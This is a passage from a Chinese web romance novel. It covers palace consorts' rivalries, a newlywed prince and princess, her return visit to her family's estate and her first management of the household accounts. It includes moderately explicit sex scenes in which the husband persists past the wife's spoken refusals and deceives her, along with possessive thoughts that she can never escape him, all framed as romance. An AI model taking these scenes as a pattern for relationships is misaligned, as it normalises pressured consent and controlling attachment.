然而在旁的德妃蹙眉不悦:“这几日大皇子府是多了喜事,宫里都为大殿下高兴,可你不该拿可怜人做笑话,莫要哪一日自己折了,有你好受的。”
“是啊,我该为皇儿得了喜事而高兴,旁事便不上心了。”
容昭仪似在应德妃的话,笑眼便朝柳贵妃投来,“这还要谢谢贵妃娘娘呢,肯将侄女嫁给我们皇儿。”
姬时语一刹吃惊。
柳贵妃的侄女,嫁给了江承运?
“楚王妃还不知吧?”
好似察觉姬时语的呆滞,柳眉开口道:“贵妃娘娘的侄女,便是太傅府的瑾柔小姐,入了大皇子府为侧妃。”
“竟是她。”
姬时语恍然大悟。
她奇怪的却是,太傅柳家竟应许女儿入大皇子府。
柳家本是二皇子母妃的娘家,该亲近二皇子才是啊。
“瑾柔是个好姑娘。”
容昭仪还在攀亲近,“贵妃娘娘总说柳家女,妾身是懂得了。”
柳贵妃妩媚的笑凝固,她不虞地接话:“瑾柔擅自做主张,本宫事后才知晓此事。”
这句话撇了干系,姬时语便清楚柳贵妃与柳家,并不愿与大皇子牵扯上关系。
“也是,瑾柔姑娘并非正妃,容昭仪你若是这般喜欢柳家女,本该去求陛下,让人提位分,当上大皇子妃才是啊!”
德妃不忘添油加醋,容昭仪脸色难看,她笑得灿烂。
姬时语见柳眉与德妃一唱一和,心中思忖。
原来德妃竟也是三皇子党,与容昭仪屡次不对付。
如此,容昭仪收起笑脸,不再提大皇子立侧妃一事。
殿中几位娘娘争端终是平息,没了左右开弓,便与柳贵妃说起闲话。
姬时语与柳眉偶时接两句,几人似真融洽几分。
姬时语安静吃茶,她不是个喜静的性子,偏在未央宫显得着实冷静。
小姑娘安安静静地端坐着,是事不关己。
她刚呷一口茶水,柳眉瞧见,不经意地给德妃睇去一道眼神。
“说起来,贵妃娘娘,这楚王府将新婚,府中人丁可是简单了些?”
德妃便问柳贵妃:“先楚王好容易寻过亲子,可就小王爷这么一个孩子如今有了楚王妃,王府合该螽斯衍庆、枝繁叶茂啊。”
柳贵妃睨眼来,“德妃有话说话。”
“各皇子府妻妾数位有余,而今大殿下与三殿下却还未得子嗣,皇室还是太冷清了。”
德妃沉沉叹息,像真为子辈考虑甚多的长辈,“而楚王府又是仅有楚王妃这么一位,楚小王爷才被认回不久,身边贴心人却寥寥无几,娘娘身为长辈,不该体恤一番小辈?”
话音落,柳贵妃的眼瞬间射向姬时语。
本端坐着安静乖巧的楚王妃,抬起一双清灵的猫瞳,姬时语莹白的脸溢出一抹冷嗤。
“德妃娘娘说楚王府太冷清,该为王爷寻几个妾侍,以好绵延子嗣。”
姬时语开口便回:“那照娘娘的意思,大殿下与三殿下这几年更未得一位子嗣,比起楚王府,两位殿下才更该着急。”
德妃没料到楚王妃姬时语生了一张鹅蛋白玉脸,人娇美俏丽,性子却是实打实的坚韧。
姬时语对德妃的不怀好意,丝毫不畏缩。
“而且,三皇子妃今日便在未央宫,这不是巧了吗?”
姬时语反而笑起来便道:“德妃娘娘赐下几位美人吧,也好让三皇子妃顺势带回三皇子府呢。”
“姬时语!”
这一招祸水东引,柳眉当即跳脚喊出了声。
姬时语没示弱,回望过去,眼里多出一抹蔑视。
怎么,她只是把话原封不动还给她,柳眉这就受不住了?
“楚王妃说的是,要急也该是三四年无所出的三皇子妃。”
偏这时候柳贵妃还在帮姬时语,她笑意冷寒,“楚王妃才新婚一日,哪来的那么着急?”
德妃还欲多说,却被柳贵妃打断。
“楚王府的事儿陛下都没操心,本宫操心什么劲?再说了,之前楚王妃那事闹得不够难看,还嫌楚王府不够乱的?德妃,我看你就是没安好心。”
柳贵妃根本不给德妃,亦或者容昭仪脸面,直言道:“在我这未央宫,收起那些个心眼子。本宫乏了,叶梅,送三皇子妃与楚王妃离宫。”
姬时语乖顺地起身,她同柳贵妃拂礼,跟随叶梅迈步出殿。
然而甫一出未央宫,身后便传来急躁的喊声。
“姬时语!”
姬时语侧身回头,是柳眉在后叫住她。
“你故意的,是不是!”
柳眉本秀丽的脸颊赫然两道刀疤纵横,她大步走来。
那伤疤鼓胀,与她逼问的眼神,如同吃人的鬼。
姬时语审时度势,这等时候她不应和柳眉仇视对峙。
“三皇子妃。”
因此,姬时语一双猫瞳微眨,玉脸不做声色。
唇角柔软,只端着无辜平静的姿态凝望柳眉。
“我不知你在说何事。”
“方才德妃娘娘说赐美人,你故意要她给三皇子府塞人!”
柳眉脸色狰狞,眼中冒了火,“姬时语,你怎和江曜一般可恶!你们夫妻二人,一唱一和,一个毁我脸,一个剐我心,你们好狠啊!”
“这话可就很难听了,三皇子妃。”
姬时语琉璃般的眼瞳闪过华光,她反问:“狗咬狗还寻个先后呢,你与我们之间,究竟是谁先出手重伤对方的?你这倒打一把的本事,还真不一般。”
“我说的可有错?”
“那你倒是说说,刚在未央宫中,
提议要往楚王府安插人的,可是德妃?德妃又为的是谁,可是你?”
姬时语还是那副娇软的模样,她连讽刺的话也说的温温柔柔,“我才新婚第一日,你们便急着给我添堵,那三皇子妃成亲三四年了,我这点添堵,还犯不着你吧。”
小姑娘是绵中带针,扎的柳眉心口疼。
楚小王爷江曜,是个行事张狂,目中无人,乖戾暴虐的主。
他毫无顾忌,能伤了柳眉。
而江曜的妻,楚王妃姬时语,却是外柔内强的姑娘。
谁欺负她,她见缝插针,也要给人捅回去。
谁能说这两人不是天生一对呢?
“你,你们!”
柳眉气坏了。
姬时语却不欲再与她多说,余光轻瞥,见到宫外的甬道之上,江曜徐徐走来的身影。
她提起衣裙便小奔而去。
“夫君!”
姬时语旋即便来到江曜身侧,亲昵地扬笑,挽住他的臂弯。
江曜被她这声甜甜的夫君喊的心头荡漾,刚搂住她,想俯身蹭蹭爱妻。
一抬眼,便睨见后方面色冰冷的柳眉。
口里的话顿时便改了,江曜眼含阴郁,问她:“她惹你了?”
“没事啦!”
姬时语捉住江曜的手,领着人往宫外走,见到他后,心头的不悦早就消散。
这点小事罢了,她能摆平的,才不想那些个糟心事扰了两人的亲密。
“哥哥,我们回府。”
……
自宫中归府,一番盥洗过后,便已至夜深时分。
姬时语披发更衣,掀开被褥钻入其中,侧窝躺下。
脑袋才一沾上枕头,这困意便沉沉上了头。
往日的她还有些认床,早前去秋猎营帐,夜里入睡翻来覆去几次都睡不着。
自打嫁入楚王府后,她竟没晚睡过一回。
也不知可是身边有江曜的缘故,闻着安心的味道她反而不认床。
姬时语还在想着,身后塌陷,一具温热的身躯贴上她身。
江曜的手臂攥住她的腰,抬起便将另一只手臂穿过去,双臂自后环抱住她。
大掌也很是习惯的,抚上她的腹部。
“阿锁。”
江曜微凉的唇寻到了她耳垂之下,连着侧颈的那处软肉,亲吻上去。
微微凉,他低沉微哑的嗓音更近。
是在问她:“阿锁,身子可有好些?”
这句话,无异于在同她讨_欢。
姬时语的脸刹那滚烫羞红。
他的吻很快便顺着脖颈,轻缓的而下,温温柔柔。
被他磨得纠缠,姬时语唇间再也按耐不住微吟哼起。
尚存一息理智,姬时语脑中不断有思绪在打架,迷茫之间,她想起明日还有要事得做。
“不行,明日我们要回门的。哥哥……呜,你不能闹我了。”
“阿锁,好软啊。”
姬时语被翻了个面,雪白衣襟半敞,亵衣被翻开一角,缓缓滑落,露出白皙娇柔的双肩。
江曜挑开她的小衣,一俯身咬住她的白软。
“啊!江曜,我们还要回门的……”
江曜已听不进去,姬时语最后一丝理智也在他的亲吻之中,混杂迷乱。
彻底忘却。
他不厌其烦地啄着她,每一处都爱恋地反复亲吻许久。
是将怀中的娇躯亲得如水似得瘫软,任他索取。
“你身上的哪里我都好喜欢,怎么能这么好呢?”
姬时语禁不住遽然睁开眼,一派水光潋滟,眼尾媚动。
好似有小勾子,在一眨一眨。
江曜情难自控,抬起头颅,吻上她的红唇。
柔软的唇瓣已亲近的献上给江曜,他心满意足地含着她唇,上下吮咬,吻到了深处。
“乖,让夫君疼你。”
“哥哥。”
姬时语的手再度掐住江曜的肩头,她面容羞赧。
虽心中有底,但江曜总喜欢在突然之间来到,她的眼波因而止不住的晃动。
明日要回门,去忠义侯府,她又想起了这件事。
“你不能欺负我,我还要早起,会起不来的!”
“这种时候你还有心思想别的事?是我太温柔了,让你老分心,嗯?”
“不要……”
江曜可不想在这时候,受姬时语话里的扫兴。
他摆明要她忘却所有,只记得他,身前的人是他便好。
她婉转的娇吟是江曜最喜欢的声音,越是动听,他越是压抑不住。
总想凶/猛地让她哭得更动人些。
姬时语哭得哽咽,却不是疼哭的,她心生了一股纳闷的情绪。
是很奇怪的感觉。
她该觉得疼的。
尤其江曜在房_事上,从起初的温柔,到她一旦出声,便箍着她,摁着十足的凶/狠。
可是偏偏,她竟然不觉得疼楚。
还很渴/望他。
她总有种错觉,生怕楚王府的床榻有朝一日会因二人而散架。
“阿锁,阿锁……”
江曜情_动时,口里不断缠绵着喊她的名字。
好久好久,姬时语都说不出话来,断断续续的只会哼哼着应他。
她的手在他肩上掐得越来越紧,粉嫩的指甲盖,硬生生成了白。
江曜知道她精疲力尽了。
可他还不想这么快便放开她。
察觉到少年的举动,姬时语眼眶落着泪珠,她眼红红,拿手抵住他的肩膀。
“不能了,今夜只能一回,再多真要去半夜的,明日还要回门啊。”
“好,那就一回。”
“不准再来
第二回。”
“嗯,不会
第二回。”
姬时语垂下眼,刚要松口气,又被一股大力扯入江曜的怀中。
她又被翻了个面,侧躺倚靠入他的胸/膛。
江曜环抱着她,两人身子竟无比契合。
“江曜!你答应我的,不准胡来了。”
“阿锁,你自己看,我也真应了你的,只有一回,没有
第二回。”
江曜抬起她的一条腿,姬时语眼眸顿时一凝,她累的眼皮打颤,睁开眼这个举动亦感疲惫。
恍惚间,她才意识到。
自始至终,两人纠缠着,江曜便没真的离开过她。
正是如此,他说的
第一回,至今也还未结束。
因此他应了没
第二回,就只有第一回。
也不知过了多久,到最后,恍恍之中姬时语是困得阖眼,昏睡过去时,脑中唯有一道念头。
江曜,这个大骗子!
翌日,姬时语醒来,眼皮又是一阵沉重。
昨夜江曜应的可好,说一回便真是一回。
可他口里的一回也太久了,这一番折腾,姬时语只觉得自己双腿止不住的发软。
是连床榻也下不去。
今日是第三日的回门,姬时语不想耽搁回侯府的时辰,还是强撑着眼皮,命丫鬟们服侍她梳洗更衣。
萍亭萍柳端来热水净洗她的面,灵犀与巧儿则取来一件鹅黄百花襦裙。
姬时语是真困得难受,便是连梳头时,她的脑袋也时不时朝下耷拉。
这时江曜入了内室,问萍亭:“可梳洗好了?”
“回王爷,王妃已换好衣裳。”
江曜再一偏头,便见姬时语在梳妆台前困倦不堪,恹恹欲睡。
唇边微笑,他大步走去她身边,抬手支起她的脑袋。
姬时语云鬓微乱,睡眼惺忪,她被江曜的手带动抬起头,嘟哝着喊他:“哥哥,夫君……”
这两声也不知她到底在喊哪一个,但不管喊哪句,江曜都恨不得她嘴里再多吐出点他喜欢的话。
江曜一把将人抱入怀中,是径直抱着她出屋。
姬时语还困的睁不开眼,软得似没骨头,窝靠在他肩头。
萍亭在后追上两人,喊了句:“王爷,奴婢等搀扶王妃娘娘。”
“不必,我抱她去,你们收拾好马车。”
江曜已下了命令。
萍亭几人应后,匆匆往府门外奔去。
江曜抱着姬时语上王府马车时,她还趴在他肩头,睡容恬静。
粉色柔软的琼鼻,在他肩上磨蹭两下,无声撒着娇。
昨夜是真累着她了,江曜狐狸眼沉下,他
亲吻一口姬时语的鬓角,拥着怀里的人儿靠在软塌上。
江曜朝外喊声:“走吧。”
马车便朝前行驶,往忠义侯府而去。
楚王府离忠义侯府不近,路途需要近两刻钟。
时候还早,江曜便未叫醒姬时语,只轻哄着她安然熟睡。
一刻钟之后,姬时语睫羽微眨,她在江曜的怀里睡醒过来。
她小脸红润,右边脸颊微顿着方才压印下的一道红痕,白皙的脸蛋鼓了鼓。
姬时语茫然道:“到哪儿了?”
“醒了?”
江曜凑过来啄她的唇角,没太深入,只探进去一寸。
而姬时语情不自禁之下,勾住他的脖子,反张唇缠上了他的。
她的主动,诱使江曜不住地闯入,直到两人气喘吁吁。
姬时语如玉的脸颊,因这一记深吻陇上酡红,白玉染红,便真映刻在上,消散不去。
江曜故意低声引诱,“阿锁,喊声夫君。”
“夫君……”
她的尾音掉了调儿,是还未睡醒时的懵懂。
她一喊,江曜便又忍不住吻她娇嫩的红唇,这回,是被江曜的牙齿咬着吮亲,姬时语感到了微痛。
她猛地乍然苏醒。
姬时语气恼地推搡开江曜,抚上唇瓣,再不给眼前的人亲。
她瞪眼看他,“你又哄骗我呢?”
“这如何能叫哄骗,阿锁,你总喜欢给我盖上不知名的罪名。”
江曜那双清冷狐狸眼似蒙上一团雾,他在笑,眼里晦涩不清。
但又当真宠溺,话语不急不缓。
“哼,你还狡辩?”
姬时语数落着江曜的不是,是连早前的旧账也翻出来了。
“昨夜我都说了不准你胡来,你看你将我折腾的成何样?你叫我回门,见了爹娘,怎么弄呀?”
“你说只准许我一回,我也是真的只闹了你一回。”
江曜牵起姬时语的素手,他揉着她的小拇指,勾了勾,拉了拉,哄着让她不要动气。
“那哪里是一回了?”
姬时语回想起昨夜自己竟是半路昏睡过去,便不争气的脸红。
这厢之下,她更气愤。
“这真就是一回。”
江曜笑望她害羞,狐狸眼眯起笑,“阿锁的身子还是太弱了,承受不住我。夜里我可是收着,没闹你
第二回,往后还想你陪着我,多闹几回呢。”
“你好讨厌!”
姬时语气得打他,又爬上他身,拉扯他的两边脸颊。
拽动两下,是将他清冷俊逸的容貌,拉扯得变了样子。
江曜纵容她胡闹,眼底掀起浓郁的溺色。
她在闹,他便笑着。
他还怕身上的姬时语摔倒,用手握住她纤细的腰肢,给人扶坐稳。
掐了江曜半晌,少年面不改色,坦然冷清。
反倒是给姬时语劳累瘫软,直愣愣靠在他的肩头,窝入他的怀里。
江曜揽着她软下的身子,好笑不已,“不闹了?”
“你不好掐,还把我的手给掐疼了。”
姬时语好不快。
“那怎么办?”
“哼,我记下了,你等着,日后我再同你算账。”
姬时语说的恶狠狠的,然而她心思单纯又良善,江曜早已明晓,小姑娘可舍不得真同他打坏算盘。
是他太恶劣,总欺负她纯良,勾她纵容自己乱_来。
江曜心思不显,又将姬时语的腰肢抱紧了些。
他就是喜欢姬时语,喜欢到此生绝不撒手,连死也要带她一块。
她逃不掉的,只能陪在他身边。
他轻轻笑起来。
“好啊,那我等着你惩罚我。”
江曜咬了姬时语的耳朵,他的嗓音如玉珠落盘,参了一分沙哑。
听得姬时语耳尖滚烫,反驳不了他半句。
怎说得又同挑_逗她啊?
姬时语埋头扎入他胸膛,哼哼岔开话来。
她是比不过江曜脸皮厚,决心不说这话,便说起宫里之事。
“太傅府的柳瑾柔竟做了江承运的侧妃,柳贵妃像很不悦这事,你说这是谁的主意?”
江曜并未应答是柳瑾柔还是江承运起意,他垂眸说了另一桩事,“江承运才卷入事端,这个节骨眼纳侧妃,不知是何想。”
“什么事?”
“苏家人不罢休苏氏之死蹊跷,告到陛下跟前,这些时日时常在早朝上闹不平。大皇子想息事宁人,但苏家不买账。昨日陛下传唤我去,二皇子三皇子亦在,我们说起了此事。”
江曜没有隐瞒,他将事端一五一十说给姬时语。
昨日姬时语前脚离了乾清宫,大皇子江承运、二皇子江承德与三皇子江承北便受旨传召入宫。
弘文帝神情肃穆,说着苏家事。
江承运妄图辩解,江承北却先打岔坦言:“父皇,苏家人定有缘由才在苏氏死后半年仍不罢休,苏氏之死怕真有玄机。”
大皇子自是不应江承北这话,大骂三皇子隔岸观火,又故意火上浇油。
弘文帝厌弃听两人争端,扼制两人之后,随即命二皇子江承德接任,彻查苏家一事。
“父皇,儿臣身体抱恙,恐难以受命。”
江承德却说:“还请父皇允楚小王爷帮衬我,同查苏氏身死之事。”
“准了。”
弘文帝应下。
因此,江曜便临危受命,被迫同二皇子江承德一同,查证半年前苏氏因何身死大皇子府。
“这不是一桩好差事。”
姬时语闻言蹙眉道:“江承运怕不会放过你。”
“没此事,他亦不会放过我。”
“哥哥。”
“阿锁安心,我知你在担忧什么。”
对上姬时语满含忧心的眼眸,江曜牵起一抹安抚的笑,他握住她手,又说:“人心中有鬼,才会惶恐不安,而我,不会怕他。”
姬时语笑应:“好 。”
正当此时,马车停靠于忠义侯府的门前,车夫朝车厢喊了句。
“王爷,王妃,已到侯府了。”
“走吧。”
江曜率先下了马车,他回身张开双臂,将姬时语抱下马车。
扶稳她站定好,再又握紧她的一只手。
“腿脚可还是软?”江曜关切她。
姬时语抓着他手,点头低低应:“是还有些不舒服。”
“那我牵着你入府,走慢些。”
两人在侯府门前旁若无人的亲昵,只一眼,便招来何氏的笑眼。
“小夫妻新婚便是不一样呐,浓情蜜意的,王爷疼咱们的语姐儿,让人看得明明白白,半分不遮掩,真好,真好!”
何氏这么一笑,姬时语飞快抬首,便见爹娘舒氏、姬雄武亦在门前等候小夫妻二人。
爹娘都看入了眼,姬时语脸面柔光细腻,涌起一团红晕。
“阿锁,云让。”
见得江曜如此疼宠姬时语,半分不离人,行走还要牵着她走,舒氏笑意不止。
“好了,先入府。”
姬雄武抱拳大大的咳嗽一声,孔武有力的方脸肃穆。
他没忍住怪罪起来,“在门前成何体统。”
第136章
今日姬时语回门,不止爹娘舒氏与姬雄武在此等候,姐姐姬合英与薛淮璋同在,三房人亦在陪同。
一行人体恤姬时语在楚王府可是安好。
为众人的关切而慰帖,姬时语笑着一一应答,说自己很好。
舒氏牵着姬时语到手边,同她说,今日舒家的二老亦前来忠义侯府,侯她回门。
闲谈之中,几个人走至海棠苑。
“云让,你随我来。”
姬雄武等几个大男儿并未入内,他摆手招了江曜到近处,再喊姬合英,“合英,去寻老爷子,他早说着要见楚小王爷。”
姬合英应:“好。”
姬合英往海棠苑而去,薛淮璋便孤零零立在一旁,待舒老爷子出来,姬雄武便喊上了薛淮璋。
“淮璋,你也来。”
薛淮璋便跟上忠义侯高大的背影。
男眷们离开,女眷们便随行舒氏入了海棠苑。
舒氏忍不住先牵住了小女儿的手,细细地抚摸她的手背,神色之中的担忧不减。
“阿锁,王府之中……”
“娘,你放心好啦,我和江曜成亲,是他求天告地将我迎过去的,他对我是一百个真心。”
姬时语依偎进舒氏的怀抱,挽住娘亲的手臂,绽笑撒娇,“你看我像受委屈的样儿吗?我是哪哪都好。”
多的话舒氏不必多说,只是那双盈盈温柔的眼,凝在小女儿玉白的脸,笑意渐浓几分。
当娘的哪里会看不出,女儿过的日子是好亦或不顺心。
舒氏抚着姬时语的一绺发丝,又拿手心在她光洁的额面贴了一刹。
“瞧着你安然无恙,娘这心里便安了。”
“母亲,阿锁气色红润,红光满面,小王爷定是用心照料着她。咱们阿锁贪睡又贪嘴,在侯府便有江云让护她,百求百应。指不定这会儿,阿锁在楚王府当霸王,这还真是阿锁的福气呢!”
姬合英大咧咧开着姬时语的玩笑。
这一番话,引得一众笑声,可没把姬时语笑得脸红。
“姐姐!”
姬时语难为情了。
姬合英笑道:“我该是说对了!有小王爷护着,谁敢指摘不是?”
众人说说笑笑,往海棠苑正堂入了座。
姬老夫人与舒老夫人行动不便,两人俱在海棠苑落座。
二老一人系朱红护额,一人高盘银发,听得姬合英的笑声,是也跟着笑道。
舒老夫人笑说:“合英还是这么喜欢逗语姐儿,当姐的不饶妹妹啊。”
“阿锁再怎么出嫁,也还是我的妹妹。”
姬合英亲昵地牵过姬时语,坐在她的手边。
舒氏无奈眺向两个女儿,随口提了一句,“拿你们没辙,在府上随你们好了。”
“语姐儿已嫁入王府,如今王府的长辈仅有两位王爷?”
姬老夫人问:“我听说先世子还被拒在王府,可是真的?”
“祖父和父王还未处置江子墨,他仍在王府,由下人们看管着。”
姬时语颔首道:“不过父王让我执掌中馈,说这事儿我看着办。”
“这事儿不好办呐。”
姬老夫人右手盘了两只核桃,为她这话,来回转打,响动不轻不重。
“先楚王妃已是被驱逐王府,是送回了胡家?”
舒老夫人曾有耳闻楚王府旧事,插话道:“胡家倒塌,说是灭顶之灾不为过,江子墨为胡氏之子,理应该她带走。”
舒氏却接道:“胡家还未倒,侯爷说胡老爷子被革职后,虽有曾大人接任,但朝中声音极大,几党颇有微词,早朝时总要提几句。”
“害人不浅,这个胡家!”
姬老夫人难耐地冷斥道:“犯下大罪满口狡辩,真如蛀虫一般,该连根拔起全烧尽,一了百了。”
“江子墨还留在王府,是王爷的考量。”
姬时语说道:“王爷的意思,胡氏万分在意江子墨,我们拘着他,以此来牵绊胡氏,以免她再动歹心。”
“是个好法子,不过,语姐儿嫁入楚王府,便如同嫁入皇室。”
姬老夫人不免忧心忡忡姬时语的身境,她不忘叮嘱道:“你和小王爷彼此之间要多体谅,凡事不要瞒着,多交心,多宽慰彼此。”
姬时语悉心听教诲:“祖母,我省得的。”
“语姐儿,若遇事有不得办的,莫要忘了你也是忠义侯府的人。”
“母亲……”
这最后一句,令舒氏眼皮掀动,稍有不敢置信。
她望姬老夫人,嘴唇抖动,触动非凡。
姬老夫人自然懂舒氏的意。
舒氏身为亲娘,满心疼惜她的女儿,即使姬时语嫁入皇室,她这个母亲亦割不断那颗心。
但舒氏又是忠义侯府的主母,身在此位,不得不为整个侯府考虑。
一旦涉足过深,恐带忠义侯府万劫不复。
姬老夫人便替她说了这番话。
忠义侯府在多年未踏足过的朝党之中,仍然愿意做姬时语的庇荫,甘愿为她站在了楚王府的这面。
“我老了,还有几个十年呢,侯府的日后还得要看我们的子辈们啊。”
姬老夫人眸子闪动着浓厚的怀念之情,“大房的两个姐儿,合英承侯爷,语姐儿被册为王妃。三房的一双女儿嫁入不错的人家,一双儿子茁壮成长。老爷子若还在世,定会为我们一大家子而欣喜开怀。”
舒氏眼眶微湿,“母亲,父亲会的。”
姬时语大为触动,真切高喊姬老夫人:“祖母。”
姬老夫人却看去何氏,问她:“老三媳妇,可有异议?”
“儿媳并无异议,语姐儿是好孩子,她好,侯府便好。”
何氏笑答:“儿媳一切都听母亲和大嫂的。”
……
在海棠苑同娘家人说了好些的体己话,在用过午膳后,姬时语折回韶华院歇息。
韶华院还是她出嫁之前的韶华院,尽管姬时语已出嫁离府,舒氏还是命丫鬟每日清扫,理得十分整洁。
姬时语端望着屋中黄花梨圆木椅,她常趴窝着的乌木四方书案、珊瑚炕桌,还有她藏书卷纸的三柜橱,眼波微荡。
“王妃,床榻已是铺好。”
“我先在榻上趴一会儿。”
午时已到,昨夜的疲倦与一早上的端坐,是令姬时语浑身困倦。
她倚靠在床边的美人榻,枕着手臂四处打量。
“离了三日,好像便是很久啊……”
“阿锁这样喜欢韶华院,不如将院子搬去寻阳院,如何?”
一道清冷醇厚的声音闯入内室,姬时语睨眼,便见江曜打了珠帘步入她的闺房。
“你怎么来了?”
美人榻伏趴着的美人穿戴完整,雪白颊边落着一缕乌发,顺滑落于她的手边。
今日的姬时语着了一身襦裙,趴窝时衣袖上撩,她玉白的小臂便再无遮盖。
“你的闺房我便来不得?”
江曜挑着狐狸眼。
姬时语道:“原来你还知道是我的闺房啊,从前不知道你闯过多少回了。”
“就是知道,我才要来。”
“你便是故意的!”
“是,我是故意的。”
“那时候你连我兄长也不是,只是我的侍卫,你!”
瞧见江曜走近,他似笑非笑,姬时语也只能哼了一声,扭转脑袋,并不愿意挪动身子。
江曜不语,姬时语便懒得追问他。
他的司马昭之心既如此明显,她早该清楚的。
姬时语恍惚着眨巴眼眸,想窝着小憩,在闺房安生地补一会儿眠。
然而身侧传来轻微的翕动,她一个回眸,惊讶于江曜竟来到了她的身边。
“阿锁莫非不想知晓,那时候的我在做何想吗?”
江曜单膝跪在榻上,前倾身子,他高大的身影压下来,顿时便令姬时语感到一阵逼仄之感。
他执起她垂下的手腕,俯首便亲啄在她的指腹手背。
那个吻并未停,很快,他便叼住她细嫩的长指,用牙齿咬住她的指腹。
“你做什么……”
“阿锁那时是我的小姐呢,可也只我这么一位侍卫亲密,不是吗?”
他的薄唇在朝上攀爬,红_痕印在了雪色的皓腕,如此显眼。
“我纯真的小姐还在为一条野狗提心吊胆,担忧我的安危,太可爱了啊,我的阿锁。”
江曜笑了出声,当着姬时语的面,他挖出自己恶劣的那颗心,明晃晃的,毫不遮掩。
“殊不知,我早便觊觎起你,想让你成为我的所有。”
“哥哥,不要在说这种话了……”
姬时语竟不敢听他说更多,面上潮红泛滥。
被他亲得难耐,从前只是亲嘴,这会儿他只是磨着她的手指,她便跟着情_动。
是因为心底的感情太浓厚了吗?
“还怕我吗?”
“会怕的。”
姬时语实诚地点了头,乖巧道:“你总喜欢吓唬我。”
“我忍不住,阿锁。”
江
曜抚上她的脖颈,那只大掌裹住她的,揉动两下,他便亲吻上去,黏腻她柔软的肌肤。
他的唇凉凉的,一亲姬时语,一道嘤咛溢出她的喉咙。
“招惹我的那刻,你就逃不掉了。不管我是侍卫、还是你的兄长。”
被江曜说着这等不中听的话,姬时语竟也未生出一丝反感。
“现在,你只能是我的。”
少年注视她的狐狸眼,愠着浓郁的爱_意,他只是在以一种不被外人理解的模样,炽热地爱着他。
姬时语只知道,她的哥哥,从未真正想要过伤害他。
他看似在吓唬人,实则那么的爱她。
她很愿意相信他。
“好呀,那你也只能是我的。”
姬时语绽开笑颜,她漾水的眼中映出了江曜。
被她专注的捧着脸,江曜身子僵硬,竟忘却第一时应她的话。
她抬高腰肢,攀住江曜的手臂,仰起头颅,轻轻将朱唇映在他的薄唇之上。
“夫君,只能亲我、抱我、爱我。”
姬时语吻得含糊不清,鼓着唇瓣索取他干净的气息,她环抱于他,因抬腰亲密,半个身子倒挂于他的身上。
看她亲得费劲,江曜一晃回过神,瞬间反客为主,深吻上她的红唇。
缠绵的话在两人唇齿之间荡开。
他应:“我只爱你。”
姬时语心满意足,彻底放软身躯,任由他随心所欲的亲。
江曜很快便不满足于仅仅一个吻,他的手揉着姬时语的侧腰,忽的便朝下滑落。
在她那身百花襦裙的裙裾,稍稍掀开一角。
姬时语惊呼,察觉到他的动作,她红扑扑的脸脱离了江曜的唇,迅速摁住他的手。
“不行,这儿是侯府,我不能由着你胡来。”
姬时语微微喘息,她双眸似水,已是被勾得恍惚,可还是想起身处何处,她摆手便理平襦裙。
江曜也不强求,只是姬时语起身之时,他自后揽住她的腰,又一回将人抱入怀中。
汲取她身上香甜的玉兰香气,江曜深深呼吸,尽力平复躁动翻涌的气血。
江曜亲她的发顶,“你要歇息吗?”
“好累,也好困啊。”
姬时语身子软软,是真使不上力气,这会儿她只想阖眼睡个午觉。
“我抱你去床上。”
江曜将姬时语送回床榻,旋即倾身在她身边躺下,他便就揽住她,抚拍她柔软的后背,轻哄她道。
“睡吧。”
……
回门日一晃而过。
忠义侯府的亲眷将姬时语送至于府门前,舒氏牵着小女儿的手舍不得放手。
母女俩的眼隐隐皆有了微红,姬时语安抚舒氏道:“娘,江曜不拘着我,日后我再回府看你。”
舒氏点头:“好。”
末了,再看向江曜的时候,舒氏经不住叮嘱他:“阿锁就交给你照顾了。”
姬雄武一句话未说,只是那双虎目沉沉的盯着江曜。
江曜同忠义侯府的一行人抱拳行礼,“侯爷与侯夫人安心,我不会让阿锁在王府受委屈。”
即便不舍,舒氏还是目送小女儿乘坐王府马车离去。
楚王府的日子远比忠义侯府众人所想的悠闲。
老楚王和楚王敞开手,交给姬时语这个新娘子管事,因是新婚,她还未真正上手王府事宜。
江曜也不允她太过劳累。
姬时语是难得清闲了几日。
江曜成亲,婚嫁放了五日,三日回门,再休沐两日,而后便该每日如时入宫早朝。
清晨江曜起的很早,九月的天已有几分凉,姬时语畏寒,两人同床共枕,她每夜总爱缠着他熟睡。
是以江曜每日起身,需得将难缠的姬时语从身上扒拉开,还得免着她因自己而苏醒。
早时总好折腾一番功夫。
而后江曜便自顾自梳头更衣,换上正二品的朱红官服,独自出府上早朝。
王府得过江曜的吩咐,姬时语无需晨昏定省。
清早丫鬟们不会惊扰她熟睡,由着王妃自个儿醒来。
每日待姬时语睡醒,身边本该窝着人的位子早已泛凉。
她爬起身,外室的丫鬟们便会入内,服侍姬时语梳洗,再用早膳。
饭后,姬时语便喊来灵犀和巧儿。
“将那箱账簿抬入我房里。”
如今姬时语执掌王府,她得趁早上手,将中馈弄清楚,待账簿合对完,还需去一趟库房一一清点。
回门时,姬时语特意请教了舒氏,问娘亲中馈之中最重要的一事是何事。
“王府多年不变,财务该不会有错。”
舒氏提点姬时语,“但是王府曾由胡氏管事,你要当心她的人,弥留于府上。以防万一,还是换上自己的心腹最为妥当。”
姬时语觉得娘亲言之有理,用了三四日合完账簿后,便喊灵犀去问管家询要,记录王府下人的录簿。
不多时,周管家亲自跑来一趟,将册薄交于姬时语。
“王妃,可是下人们有人不长眼,冒犯了您?”周管家忐忑问。
“并非如此。”
姬时语佯装无心,翻动几页,随即她便问:“管家,下人们你皆认得,给我指指,哪些人是先王妃胡氏带来的人?”
“这……”
周管家立马反应过来,姬时语是忌惮府上有心怀歹意之人,要彻查一番。
“娘娘,先王妃离府之际,王爷也查过一回,驱离王府的便有二三十位,余下的那些还都是些老实之人。”
周管家摆上笑脸道:“您若是想知晓,老
奴给您指认。”
有了周管家的指点,姬时语知晓到,楚王亦是忧心考量过。
胡氏离府,那时便不论是谁,与胡氏有干系的一律驱离。
余下的便是马厩的两位马夫与几位老实本分的壮丁。
听罢,姬时语点头:“那便先不动这些人。”
周管家应:“是,娘娘。”
姬时语很快便又察觉一桩事来,她指着录簿之上被抹去的几个名字,又发了问。
周管家一一解释:“早前王府后院还有几位侍妾,是宫里赐下的,王爷便安置在西院。”
“府上如今可还有女眷?”
“走的走,散的散,王府的后宅唯有娘娘一人了。”
姬时语对这个回答十分惊诧。
她是没想到楚王府竟是比寻常宅院,还要来的空寂、人烟稀少。
便是两位王爷的侍妾,竟也没留下一个。
那她岂不是平白空闲了?
周管家笑说:“府上人丁简单,娘娘需操心的怕只是王府的田产商铺。”
姬时语挥挥手,让他退离。
待黄昏江曜归府,姬时语便将王府上下与他一说,她还经不住叹了一口气。
